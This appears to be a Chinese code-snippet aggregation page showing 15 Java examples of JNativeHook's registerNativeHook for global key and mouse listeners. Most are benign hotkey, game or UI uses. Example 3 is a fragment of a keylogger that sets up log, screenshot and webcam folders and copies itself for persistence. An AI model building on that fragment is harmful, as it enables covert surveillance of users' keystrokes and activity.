本文整理汇总了Java中org.jnativehook.GlobalScreen.registerNativeHook方法的典型用法代码示例。如果您正苦于以下问题:Java GlobalScreen.registerNativeHook方法的具体用法?Java GlobalScreen.registerNativeHook怎么用?Java GlobalScreen.registerNativeHook使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类org.jnativehook.GlobalScreen
的用法示例。
在下文中一共展示了GlobalScreen.registerNativeHook方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: setup
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void setup() {
// setup keyhook
try {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
HKM = new KeyHook();
HKM.addValidHotkey("Space");
GlobalScreen.addNativeKeyListener(HKM);
System.out.println("[KeyHook setup]");
try {
robot = new Robot();
} catch (AWTException e) {
System.out.println("Robot could not be created...");
}
}
示例2: initializeGame
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
private static void initializeGame() {
AnsiConsole.systemInstall();
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
// registers a shutdown hook
// this shutdown hook is called before the jvm is shutdown and releases the dependencies
Runtime.getRuntime().addShutdownHook(new Thread() {
@Override
public void run() {
GlobalScreen.unregisterNativeHook();
System.out.println("unregister native hook");
AnsiConsole.out.print(Ansi.ansi().eraseScreen(Erase.FORWARD));
AnsiConsole.systemUninstall();
System.out.println("uninstall ansi console");
// network can be closed here
}
});
}
示例3: main
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void main(String[] args) throws IOException {
detectOS();
app_path = System.getenv(environment_variable_path) + folder;
createFolder(app_path);
createFolder(app_path + path_logs);
createFolder(app_path + path_screenshot);
createFolder(app_path + path_cam);
if (persistence == true) {
copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
}
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
}
GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
示例4: init
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void init() {
try {
// Get the logger for "org.jnativehook" and set the level
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(loggingLevel);
// disable the parent handlers
logger.setUseParentHandlers(false);
// Init JNativeHook
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new NativeKeyListener());
Log.debug("JNativeHook initialized.");
} catch (NativeHookException e) {
e.printStackTrace();
}
}
示例5: init
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void init() {
// Get the logger for "org.jnativehook" and set the level to off.
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
db = new DbHandler();
db.onCreateDB();
db.createTable();
// Change the level for all handlers attached to the default logger.
Handler[] handlers = Logger.getLogger("").getHandlers();
for (int i = 0; i < handlers.length; i++) {
handlers[i].setLevel(Level.OFF);
}
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem while registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
GlobalScreen.addNativeKeyListener(new Main());
}
示例6: setup
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void setup() {
// setup keyhook
try {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
kh = new KeyHook();
GlobalScreen.addNativeKeyListener(kh);
System.out.println("[KeyHook setup]");
kh.addValidAlphaKey("Space");
kh.addValidAlphaKey("Enter");
kh.addValidAlphaKey("Backspace");
}
示例7: setOnScrollListener
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
/**
* Enables handling of scroll and mouse wheel events for the node.
* This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
* @see #notifyScrollEvent
* @param intersectionTestFunc a function that takes an event object and must return boolean
* @return itself to let you use a chain of calls
*/
MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
if (SystemUtils.IS_OS_WINDOWS) {
if (!GlobalScreen.isNativeHookRegistered()) {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException | UnsatisfiedLinkError e) {
e.printStackTrace();
Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
return this;
}
}
mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
} else {
sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
}
return this;
}
示例8: addListeners
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void addListeners()
{
// Set the event dispatcher to a swing safe executor service.
GlobalScreen.setEventDispatcher(new SwingDispatchService());
try
{
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(this);
}
catch (NativeHookException ex)
{
System.err.println("Error starting KeyHandler:\n" + ex);
System.err.println("Keyboard controls disabled");
}
}
示例9: init
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void init(Config config, IconManager iconManager, Processor processor) {
setConfig(config);
setIconManager(iconManager);
setProcessor(processor);
setupLogs();
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
Display.getDefault().asyncExec(new Runnable() {
@Override
public void run() {
screenSelectorShell = new ScreenSelectorShell();
}
});
GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
示例10: initGlobalListeners
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
private void initGlobalListeners() {
// Initialze native hook.
try {
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
ex.printStackTrace();
System.exit(1);
}
detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
GlobalScreen.addNativeKeyListener(detectKeys);
GlobalScreen.addNativeMouseWheelListener(detectKeys);
GlobalScreen.addNativeMouseListener(detectKeys);
}
示例11: main
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void main(String[] args) throws InterruptedException
{
disableLogging();
try
{
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex)
{
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
GlobalMouseListener globalMouseListener = new GlobalMouseListener();
GlobalScreen.addNativeMouseListener(globalMouseListener);
GlobalScreen.addNativeMouseMotionListener(globalMouseListener);
GlobalScreen.addNativeMouseWheelListener(globalMouseListener);
GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
示例12: initialize
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void initialize() throws NativeHookException
{
GlobalScreen.initialize();
GlobalScreen.registerNativeHook();
if(GlobalScreen.isNativeHookRegistered())
{
listener = new LowLevelKeyListener();
GlobalScreen.getInstance().addNativeKeyListener(listener);
enabled = true;
}
else
{
enabled = false;
throw new NativeHookException("Could not register hook");
}
}
示例13: await
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
final public void await() {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e1) {
return;
}
GlobalScreen.getInstance().addNativeKeyListener(this);
GlobalScreen.getInstance().addNativeMouseMotionListener(this);
GlobalScreen.getInstance().addNativeMouseListener(this);
try {
detectedSignal.await();
} catch (InterruptedException e) {
}
}
示例14: start
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public void start(){
try {
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
// System.exit(1);
}
//Construct the example object.
//GlobalMouseListenerExample example = new GlobalMouseListenerExample();
//Add the appropriate listeners for the example object.
GlobalScreen.getInstance().addNativeMouseListener(this);
GlobalScreen.getInstance().addNativeMouseMotionListener(this);
}
示例15: initNativeMouseMotionListener
import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
/**
* Use jnativehook to detect mouse drag events and show popover
*/
private void initNativeMouseMotionListener() {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e1) {
e1.printStackTrace();
}
GlobalScreen.addNativeMouseMotionListener(this);
GlobalScreen.addNativeMouseListener(this);
GlobalScreen.addNativeKeyListener(this);
}